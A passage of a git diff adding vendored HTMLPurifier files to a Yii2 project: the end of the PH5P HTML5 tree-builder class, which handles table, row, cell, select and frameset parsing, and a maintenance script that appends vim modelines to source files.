attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + end($this->stack)->appendChild($comment); + + /* A start tag whose tag name is "col" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { + /* Insert a col element for the token. Immediately pop the current + node off the stack of open elements. */ + $this->insertElement($token); + array_pop($this->stack); + + /* An end tag whose tag name is "colgroup" */ + } elseif($token['type'] === HTML5::ENDTAG && + $token['name'] === 'colgroup') { + /* If the current node is the root html element, then this is a + parse error, ignore the token. (innerHTML case) */ + if(end($this->stack)->nodeName === 'html') { + // Ignore + + /* Otherwise, pop the current node (which will be a colgroup + element) from the stack of open elements. Switch the insertion + mode to "in table". */ + } else { + array_pop($this->stack); + $this->mode = self::IN_TABLE; + } + + /* An end tag whose tag name is "col" */ + } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Act as if an end tag with the tag name "colgroup" had been seen, + and then, if that token wasn't ignored, reprocess the current token. */ + $this->inColumnGroup(array( + 'name' => 'colgroup', + 'type' => HTML5::ENDTAG + )); + + return $this->inTable($token); + } + } + + private function inTableBody($token) + { + $clear = array('tbody', 'tfoot', 'thead', 'html'); + + /* A start tag whose tag name is "tr" */ + if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Insert a tr element for the token, then switch the insertion + mode to "in row". */ + $this->insertElement($token); + $this->mode = self::IN_ROW; + + /* A start tag whose tag name is one of: "th", "td" */ + } elseif($token['type'] === HTML5::STARTTAG && + ($token['name'] === 'th' || $token['name'] === 'td')) { + /* Parse error. Act as if a start tag with the tag name "tr" had + been seen, then reprocess the current token. */ + $this->inTableBody(array( + 'name' => 'tr', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + return $this->inRow($token); + + /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. */ + if(!$this->elementInScope($token['name'], true)) { + // Ignore + + /* Otherwise: */ + } else { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Pop the current node from the stack of open elements. Switch + the insertion mode to "in table". */ + array_pop($this->stack); + $this->mode = self::IN_TABLE; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ + } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || + ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { + /* If the stack of open elements does not have a tbody, thead, or + tfoot element in table scope, this is a parse error. Ignore the + token. (innerHTML case) */ + if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Act as if an end tag with the same tag name as the current + node ("tbody", "tfoot", or "thead") had been seen, then + reprocess the current token. */ + $this->inTableBody(array( + 'name' => end($this->stack)->nodeName, + 'type' => HTML5::ENDTAG + )); + + return $this->mainPhase($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "td", "th", "tr" */ + } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in table". */ + $this->inTable($token); + } + } + + private function inRow($token) + { + $clear = array('tr', 'html'); + + /* A start tag whose tag name is one of: "th", "td" */ + if($token['type'] === HTML5::STARTTAG && + ($token['name'] === 'th' || $token['name'] === 'td')) { + /* Clear the stack back to a table row context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the insertion + mode to "in cell". */ + $this->insertElement($token); + $this->mode = self::IN_CELL; + + /* Insert a marker at the end of the list of active formatting + elements. */ + $this->a_formatting[] = self::MARKER; + + /* An end tag whose tag name is "tr" */ + } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if(!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Clear the stack back to a table row context. */ + $this->clearStackToTableContext($clear); + + /* Pop the current node (which will be a tr element) from the + stack of open elements. Switch the insertion mode to "in table + body". */ + array_pop($this->stack); + $this->mode = self::IN_TBODY; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ + } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { + /* Act as if an end tag with the tag name "tr" had been seen, then, + if that token wasn't ignored, reprocess the current token. */ + $this->inRow(array( + 'name' => 'tr', + 'type' => HTML5::ENDTAG + )); + + return $this->inCell($token); + + /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. */ + if(!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Otherwise, act as if an end tag with the tag name "tr" had + been seen, then reprocess the current token. */ + $this->inRow(array( + 'name' => 'tr', + 'type' => HTML5::ENDTAG + )); + + return $this->inCell($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "td", "th" */ + } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in table". */ + $this->inTable($token); + } + } + + private function inCell($token) + { + /* An end tag whose tag name is one of: "td", "th" */ + if($token['type'] === HTML5::ENDTAG && + ($token['name'] === 'td' || $token['name'] === 'th')) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as that of the token, then this is a + parse error and the token must be ignored. */ + if(!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Generate implied end tags, except for elements with the same + tag name as the token. */ + $this->generateImpliedEndTags(array($token['name'])); + + /* Now, if the current node is not an element with the same tag + name as the token, then this is a parse error. */ + // k + + /* Pop elements from this stack until an element with the same + tag name as the token has been popped from the stack. */ + while(true) { + $node = end($this->stack)->nodeName; + array_pop($this->stack); + + if($node === $token['name']) { + break; + } + } + + /* Clear the list of active formatting elements up to the last + marker. */ + $this->clearTheActiveFormattingElementsUpToTheLastMarker(); + + /* Switch the insertion mode to "in row". (The current node + will be a tr element at this point.) */ + $this->mode = self::IN_ROW; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', + 'thead', 'tr'))) { + /* If the stack of open elements does not have a td or th element + in table scope, then this is a parse error; ignore the token. + (innerHTML case) */ + if(!$this->elementInScope(array('td', 'th'), true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', + 'thead', 'tr'))) { + /* If the stack of open elements does not have a td or th element + in table scope, then this is a parse error; ignore the token. + (innerHTML case) */ + if(!$this->elementInScope(array('td', 'th'), true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html" */ + } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], + array('body', 'caption', 'col', 'colgroup', 'html'))) { + /* Parse error. Ignore the token. */ + + /* An end tag whose tag name is one of: "table", "tbody", "tfoot", + "thead", "tr" */ + } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], + array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as that of the token (which can only + happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), + then this is a parse error and the token must be ignored. */ + if(!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in body". */ + $this->inBody($token); + } + } + + private function inSelect($token) + { + /* Handle the token as follows: */ + + /* A character token */ + if($token['type'] === HTML5::CHARACTR) { + /* Append the token's character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token whose tag name is "option" */ + } elseif($token['type'] === HTML5::STARTTAG && + $token['name'] === 'option') { + /* If the current node is an option element, act as if an end tag + with the tag name "option" had been seen. */ + if(end($this->stack)->nodeName === 'option') { + $this->inSelect(array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* A start tag token whose tag name is "optgroup" */ + } elseif($token['type'] === HTML5::STARTTAG && + $token['name'] === 'optgroup') { + /* If the current node is an option element, act as if an end tag + with the tag name "option" had been seen. */ + if(end($this->stack)->nodeName === 'option') { + $this->inSelect(array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + )); + } + + /* If the current node is an optgroup element, act as if an end tag + with the tag name "optgroup" had been seen. */ + if(end($this->stack)->nodeName === 'optgroup') { + $this->inSelect(array( + 'name' => 'optgroup', + 'type' => HTML5::ENDTAG + )); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* An end tag token whose tag name is "optgroup" */ + } elseif($token['type'] === HTML5::ENDTAG && + $token['name'] === 'optgroup') { + /* First, if the current node is an option element, and the node + immediately before it in the stack of open elements is an optgroup + element, then act as if an end tag with the tag name "option" had + been seen. */ + $elements_in_stack = count($this->stack); + + if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && + $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { + $this->inSelect(array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + )); + } + + /* If the current node is an optgroup element, then pop that node + from the stack of open elements. Otherwise, this is a parse error, + ignore the token. */ + if($this->stack[$elements_in_stack - 1] === 'optgroup') { + array_pop($this->stack); + } + + /* An end tag token whose tag name is "option" */ + } elseif($token['type'] === HTML5::ENDTAG && + $token['name'] === 'option') { + /* If the current node is an option element, then pop that node + from the stack of open elements. Otherwise, this is a parse error, + ignore the token. */ + if(end($this->stack)->nodeName === 'option') { + array_pop($this->stack); + } + + /* An end tag whose tag name is "select" */ + } elseif($token['type'] === HTML5::ENDTAG && + $token['name'] === 'select') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if(!$this->elementInScope($token['name'], true)) { + // w/e + + /* Otherwise: */ + } else { + /* Pop elements from the stack of open elements until a select + element has been popped from the stack. */ + while(true) { + $current = end($this->stack)->nodeName; + array_pop($this->stack); + + if($current === 'select') { + break; + } + } + + /* Reset the insertion mode appropriately. */ + $this->resetInsertionMode(); + } + + /* A start tag whose tag name is "select" */ + } elseif($token['name'] === 'select' && + $token['type'] === HTML5::STARTTAG) { + /* Parse error. Act as if the token had been an end tag with the + tag name "select" instead. */ + $this->inSelect(array( + 'name' => 'select', + 'type' => HTML5::ENDTAG + )); + + /* An end tag whose tag name is one of: "caption", "table", "tbody", + "tfoot", "thead", "tr", "td", "th" */ + } elseif(in_array($token['name'], array('caption', 'table', 'tbody', + 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { + /* Parse error. */ + // w/e + + /* If the stack of open elements has an element in table scope with + the same tag name as that of the token, then act as if an end tag + with the tag name "select" had been seen, and reprocess the token. + Otherwise, ignore the token. */ + if($this->elementInScope($token['name'], true)) { + $this->inSelect(array( + 'name' => 'select', + 'type' => HTML5::ENDTAG + )); + + $this->mainPhase($token); + } + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function afterBody($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Process the token as it would be processed if the insertion mode + was "in body". */ + $this->inBody($token); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the first element in the stack of open + elements (the html element), with the data attribute set to the + data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->stack[0]->appendChild($comment); + + /* An end tag with the tag name "html" */ + } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { + /* If the parser was originally created in order to handle the + setting of an element's innerHTML attribute, this is a parse error; + ignore the token. (The element will be an html element in this + case.) (innerHTML case) */ + + /* Otherwise, switch to the trailing end phase. */ + $this->phase = self::END_PHASE; + + /* Anything else */ + } else { + /* Parse error. Set the insertion mode to "in body" and reprocess + the token. */ + $this->mode = self::IN_BODY; + return $this->inBody($token); + } + } + + private function inFrameset($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag with the tag name "frameset" */ + } elseif($token['name'] === 'frameset' && + $token['type'] === HTML5::STARTTAG) { + $this->insertElement($token); + + /* An end tag with the tag name "frameset" */ + } elseif($token['name'] === 'frameset' && + $token['type'] === HTML5::ENDTAG) { + /* If the current node is the root html element, then this is a + parse error; ignore the token. (innerHTML case) */ + if(end($this->stack)->nodeName === 'html') { + // Ignore + + } else { + /* Otherwise, pop the current node from the stack of open + elements. */ + array_pop($this->stack); + + /* If the parser was not originally created in order to handle + the setting of an element's innerHTML attribute (innerHTML case), + and the current node is no longer a frameset element, then change + the insertion mode to "after frameset". */ + $this->mode = self::AFTR_FRAME; + } + + /* A start tag with the tag name "frame" */ + } elseif($token['name'] === 'frame' && + $token['type'] === HTML5::STARTTAG) { + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + + /* A start tag with the tag name "noframes" */ + } elseif($token['name'] === 'noframes' && + $token['type'] === HTML5::STARTTAG) { + /* Process the token as if the insertion mode had been "in body". */ + $this->inBody($token); + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function afterFrameset($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* An end tag with the tag name "html" */ + } elseif($token['name'] === 'html' && + $token['type'] === HTML5::ENDTAG) { + /* Switch to the trailing end phase. */ + $this->phase = self::END_PHASE; + + /* A start tag with the tag name "noframes" */ + } elseif($token['name'] === 'noframes' && + $token['type'] === HTML5::STARTTAG) { + /* Process the token as if the insertion mode had been "in body". */ + $this->inBody($token); + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function trailingEndPhase($token) + { + /* After the main phase, as each token is emitted from the tokenisation + stage, it must be processed as described in this section. */ + + /* A DOCTYPE token */ + if($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the Document object with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->dom->appendChild($comment); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Process the token as it would be processed in the main phase. */ + $this->mainPhase($token); + + /* A character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. Or a start tag token. Or an end tag token. */ + } elseif(($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || + $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { + /* Parse error. Switch back to the main phase and reprocess the + token. */ + $this->phase = self::MAIN_PHASE; + return $this->mainPhase($token); + + /* An end-of-file token */ + } elseif($token['type'] === HTML5::EOF) { + /* OMG DONE!! */ + } + } + + private function insertElement($token, $append = true) + { + $el = $this->dom->createElement($token['name']); + + foreach($token['attr'] as $attr) { + if(!$el->hasAttribute($attr['name'])) { + $el->setAttribute($attr['name'], $attr['value']); + } + } + + $this->appendToRealParent($el); + $this->stack[] = $el; + + return $el; + } + + private function insertText($data) + { + $text = $this->dom->createTextNode($data); + $this->appendToRealParent($text); + } + + private function insertComment($data) + { + $comment = $this->dom->createComment($data); + $this->appendToRealParent($comment); + } + + private function appendToRealParent($node) + { + if($this->foster_parent === null) { + end($this->stack)->appendChild($node); + + } elseif($this->foster_parent !== null) { + /* If the foster parent element is the parent element of the + last table element in the stack of open elements, then the new + node must be inserted immediately before the last table element + in the stack of open elements in the foster parent element; + otherwise, the new node must be appended to the foster parent + element. */ + for($n = count($this->stack) - 1; $n >= 0; $n--) { + if($this->stack[$n]->nodeName === 'table' && + $this->stack[$n]->parentNode !== null) { + $table = $this->stack[$n]; + break; + } + } + + if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) + $this->foster_parent->insertBefore($node, $table); + else + $this->foster_parent->appendChild($node); + + $this->foster_parent = null; + } + } + + private function elementInScope($el, $table = false) + { + if(is_array($el)) { + foreach($el as $element) { + if($this->elementInScope($element, $table)) { + return true; + } + } + + return false; + } + + $leng = count($this->stack); + + for($n = 0; $n < $leng; $n++) { + /* 1. Initialise node to be the current node (the bottommost node of + the stack). */ + $node = $this->stack[$leng - 1 - $n]; + + if($node->tagName === $el) { + /* 2. If node is the target node, terminate in a match state. */ + return true; + + } elseif($node->tagName === 'table') { + /* 3. Otherwise, if node is a table element, terminate in a failure + state. */ + return false; + + } elseif($table === true && in_array($node->tagName, array('caption', 'td', + 'th', 'button', 'marquee', 'object'))) { + /* 4. Otherwise, if the algorithm is the "has an element in scope" + variant (rather than the "has an element in table scope" variant), + and node is one of the following, terminate in a failure state. */ + return false; + + } elseif($node === $node->ownerDocument->documentElement) { + /* 5. Otherwise, if node is an html element (root element), terminate + in a failure state. (This can only happen if the node is the topmost + node of the stack of open elements, and prevents the next step from + being invoked if there are no more elements in the stack.) */ + return false; + } + + /* Otherwise, set node to the previous entry in the stack of open + elements and return to step 2. (This will never fail, since the loop + will always terminate in the previous step if the top of the stack + is reached.) */ + } + } + + private function reconstructActiveFormattingElements() + { + /* 1. If there are no entries in the list of active formatting elements, + then there is nothing to reconstruct; stop this algorithm. */ + $formatting_elements = count($this->a_formatting); + + if($formatting_elements === 0) { + return false; + } + + /* 3. Let entry be the last (most recently added) element in the list + of active formatting elements. */ + $entry = end($this->a_formatting); + + /* 2. If the last (most recently added) entry in the list of active + formatting elements is a marker, or if it is an element that is in the + stack of open elements, then there is nothing to reconstruct; stop this + algorithm. */ + if($entry === self::MARKER || in_array($entry, $this->stack, true)) { + return false; + } + + for($a = $formatting_elements - 1; $a >= 0; true) { + /* 4. If there are no entries before entry in the list of active + formatting elements, then jump to step 8. */ + if($a === 0) { + $step_seven = false; + break; + } + + /* 5. Let entry be the entry one earlier than entry in the list of + active formatting elements. */ + $a--; + $entry = $this->a_formatting[$a]; + + /* 6. If entry is neither a marker nor an element that is also in + thetack of open elements, go to step 4. */ + if($entry === self::MARKER || in_array($entry, $this->stack, true)) { + break; + } + } + + while(true) { + /* 7. Let entry be the element one later than entry in the list of + active formatting elements. */ + if(isset($step_seven) && $step_seven === true) { + $a++; + $entry = $this->a_formatting[$a]; + } + + /* 8. Perform a shallow clone of the element entry to obtain clone. */ + $clone = $entry->cloneNode(); + + /* 9. Append clone to the current node and push it onto the stack + of open elements so that it is the new current node. */ + end($this->stack)->appendChild($clone); + $this->stack[] = $clone; + + /* 10. Replace the entry for entry in the list with an entry for + clone. */ + $this->a_formatting[$a] = $clone; + + /* 11. If the entry for clone in the list of active formatting + elements is not the last entry in the list, return to step 7. */ + if(end($this->a_formatting) !== $clone) { + $step_seven = true; + } else { + break; + } + } + } + + private function clearTheActiveFormattingElementsUpToTheLastMarker() + { + /* When the steps below require the UA to clear the list of active + formatting elements up to the last marker, the UA must perform the + following steps: */ + + while(true) { + /* 1. Let entry be the last (most recently added) entry in the list + of active formatting elements. */ + $entry = end($this->a_formatting); + + /* 2. Remove entry from the list of active formatting elements. */ + array_pop($this->a_formatting); + + /* 3. If entry was a marker, then stop the algorithm at this point. + The list has been cleared up to the last marker. */ + if($entry === self::MARKER) { + break; + } + } + } + + private function generateImpliedEndTags(array $exclude = array()) + { + /* When the steps below require the UA to generate implied end tags, + then, if the current node is a dd element, a dt element, an li element, + a p element, a td element, a th element, or a tr element, the UA must + act as if an end tag with the respective tag name had been seen and + then generate implied end tags again. */ + $node = end($this->stack); + $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); + + while(in_array(end($this->stack)->nodeName, $elements)) { + array_pop($this->stack); + } + } + + private function getElementCategory($name) + { + if(in_array($name, $this->special)) + return self::SPECIAL; + + elseif(in_array($name, $this->scoping)) + return self::SCOPING; + + elseif(in_array($name, $this->formatting)) + return self::FORMATTING; + + else + return self::PHRASING; + } + + private function clearStackToTableContext($elements) + { + /* When the steps above require the UA to clear the stack back to a + table context, it means that the UA must, while the current node is not + a table element or an html element, pop elements from the stack of open + elements. If this causes any elements to be popped from the stack, then + this is a parse error. */ + while(true) { + $node = end($this->stack)->nodeName; + + if(in_array($node, $elements)) { + break; + } else { + array_pop($this->stack); + } + } + } + + private function resetInsertionMode() + { + /* 1. Let last be false. */ + $last = false; + $leng = count($this->stack); + + for($n = $leng - 1; $n >= 0; $n--) { + /* 2. Let node be the last node in the stack of open elements. */ + $node = $this->stack[$n]; + + /* 3. If node is the first node in the stack of open elements, then + set last to true. If the element whose innerHTML attribute is being + set is neither a td element nor a th element, then set node to the + element whose innerHTML attribute is being set. (innerHTML case) */ + if($this->stack[0]->isSameNode($node)) { + $last = true; + } + + /* 4. If node is a select element, then switch the insertion mode to + "in select" and abort these steps. (innerHTML case) */ + if($node->nodeName === 'select') { + $this->mode = self::IN_SELECT; + break; + + /* 5. If node is a td or th element, then switch the insertion mode + to "in cell" and abort these steps. */ + } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { + $this->mode = self::IN_CELL; + break; + + /* 6. If node is a tr element, then switch the insertion mode to + "in row" and abort these steps. */ + } elseif($node->nodeName === 'tr') { + $this->mode = self::IN_ROW; + break; + + /* 7. If node is a tbody, thead, or tfoot element, then switch the + insertion mode to "in table body" and abort these steps. */ + } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { + $this->mode = self::IN_TBODY; + break; + + /* 8. If node is a caption element, then switch the insertion mode + to "in caption" and abort these steps. */ + } elseif($node->nodeName === 'caption') { + $this->mode = self::IN_CAPTION; + break; + + /* 9. If node is a colgroup element, then switch the insertion mode + to "in column group" and abort these steps. (innerHTML case) */ + } elseif($node->nodeName === 'colgroup') { + $this->mode = self::IN_CGROUP; + break; + + /* 10. If node is a table element, then switch the insertion mode + to "in table" and abort these steps. */ + } elseif($node->nodeName === 'table') { + $this->mode = self::IN_TABLE; + break; + + /* 11. If node is a head element, then switch the insertion mode + to "in body" ("in body"! not "in head"!) and abort these steps. + (innerHTML case) */ + } elseif($node->nodeName === 'head') { + $this->mode = self::IN_BODY; + break; + + /* 12. If node is a body element, then switch the insertion mode to + "in body" and abort these steps. */ + } elseif($node->nodeName === 'body') { + $this->mode = self::IN_BODY; + break; + + /* 13. If node is a frameset element, then switch the insertion + mode to "in frameset" and abort these steps. (innerHTML case) */ + } elseif($node->nodeName === 'frameset') { + $this->mode = self::IN_FRAME; + break; + + /* 14. If node is an html element, then: if the head element + pointer is null, switch the insertion mode to "before head", + otherwise, switch the insertion mode to "after head". In either + case, abort these steps. (innerHTML case) */ + } elseif($node->nodeName === 'html') { + $this->mode = ($this->head_pointer === null) + ? self::BEFOR_HEAD + : self::AFTER_HEAD; + + break; + + /* 15. If last is true, then set the insertion mode to "in body" + and abort these steps. (innerHTML case) */ + } elseif($last) { + $this->mode = self::IN_BODY; + break; + } + } + } + + private function closeCell() + { + /* If the stack of open elements has a td or th element in table scope, + then act as if an end tag token with that tag name had been seen. */ + foreach(array('td', 'th') as $cell) { + if($this->elementInScope($cell, true)) { + $this->inCell(array( + 'name' => $cell, + 'type' => HTML5::ENDTAG + )); + + break; + } + } + } + + public function save() + { + return $this->dom; + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php new file mode 100644 index 00000000..34a177f2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/add-vimline.php @@ -0,0 +1,131 @@ +#!/usr/bin/php +globr('.', '*'); +foreach ($files as $file) { + if ( + !is_file($file) || + prefix_is('./docs/doxygen', $file) || + prefix_is('./library/standalone', $file) || + prefix_is('./docs/specimens', $file) || + postfix_is('.ser', $file) || + postfix_is('.tgz', $file) || + postfix_is('.patch', $file) || + postfix_is('.dtd', $file) || + postfix_is('.ent', $file) || + postfix_is('.png', $file) || + postfix_is('.ico', $file) || + // wontfix + postfix_is('.vtest', $file) || + postfix_is('.svg', $file) || + postfix_is('.phpt', $file) || + postfix_is('VERSION', $file) || + postfix_is('WHATSNEW', $file) || + postfix_is('FOCUS', $file) || + postfix_is('configdoc/usage.xml', $file) || + postfix_is('library/HTMLPurifier.includes.php', $file) || + postfix_is('library/HTMLPurifier.safe-includes.php', $file) || + postfix_is('smoketests/xssAttacks.xml', $file) || + // phpt files + postfix_is('.diff', $file) || + postfix_is('.exp', $file) || + postfix_is('.log', $file) || + postfix_is('.out', $file) || + + $file == './library/HTMLPurifier/Lexer/PH5P.php' || + $file == './maintenance/PH5P.php' + ) continue; + $ext = strrchr($file, '.'); + if ( + postfix_is('README', $file) || + postfix_is('LICENSE', $file) || + postfix_is('CREDITS', $file) || + postfix_is('INSTALL', $file) || + postfix_is('NEWS', $file) || + postfix_is('TODO', $file) || + postfix_is('WYSIWYG', $file) || + postfix_is('Changelog', $file) + ) $ext = '.txt'; + if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile'; + if (postfix_is('.php.in', $file)) $ext = '.php'; + $no_nl = false; + switch ($ext) { + case '.php': + case '.inc': + case '.js': + $line = '// %s'; + break; + case '.html': + case '.xsl': + case '.xml': + case '.htc': + $line = ""; + break; + case '.htmlt': + $no_nl = true; + $line = '--# %s'; + break; + case '.ini': + $line = '; %s'; + break; + case '.css': + $line = '/* %s */'; + break; + case '.bat': + $line = 'rem %s'; + break; + case '.txt': + case '.utf8': + if ( + prefix_is('./library/HTMLPurifier/ConfigSchema', $file) || + prefix_is('./smoketests/test-schema', $file) || + prefix_is('./tests/HTMLPurifier/StringHashParser', $file) + ) { + $no_nl = true; + $line = '--# %s'; + } else { + $line = ' %s'; + } + break; + case 'Doxyfile': + $line = '# %s'; + break; + default: + throw new Exception('Unknown file: ' . $file); + } + + echo "$file\n"; + $contents = file_get_contents($file); + + $regex = '~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m'; + $contents = preg_replace($regex, '', $contents); + + $contents = rtrim($contents); + + if (strpos($contents, "\r\n") !== false) $nl = "\r\n"; + elseif (strpos($contents, "\n") !== false) $nl = "\n"; + elseif (strpos($contents, "\r") !== false) $nl = "\r"; + else $nl = PHP_EOL; + + if (!$no_nl) $contents .= $nl; + $contents .= $nl . str_replace('%s', $vimline, $line) . $nl; + + file_put_contents($file, $contents); + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/common.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/common.php new 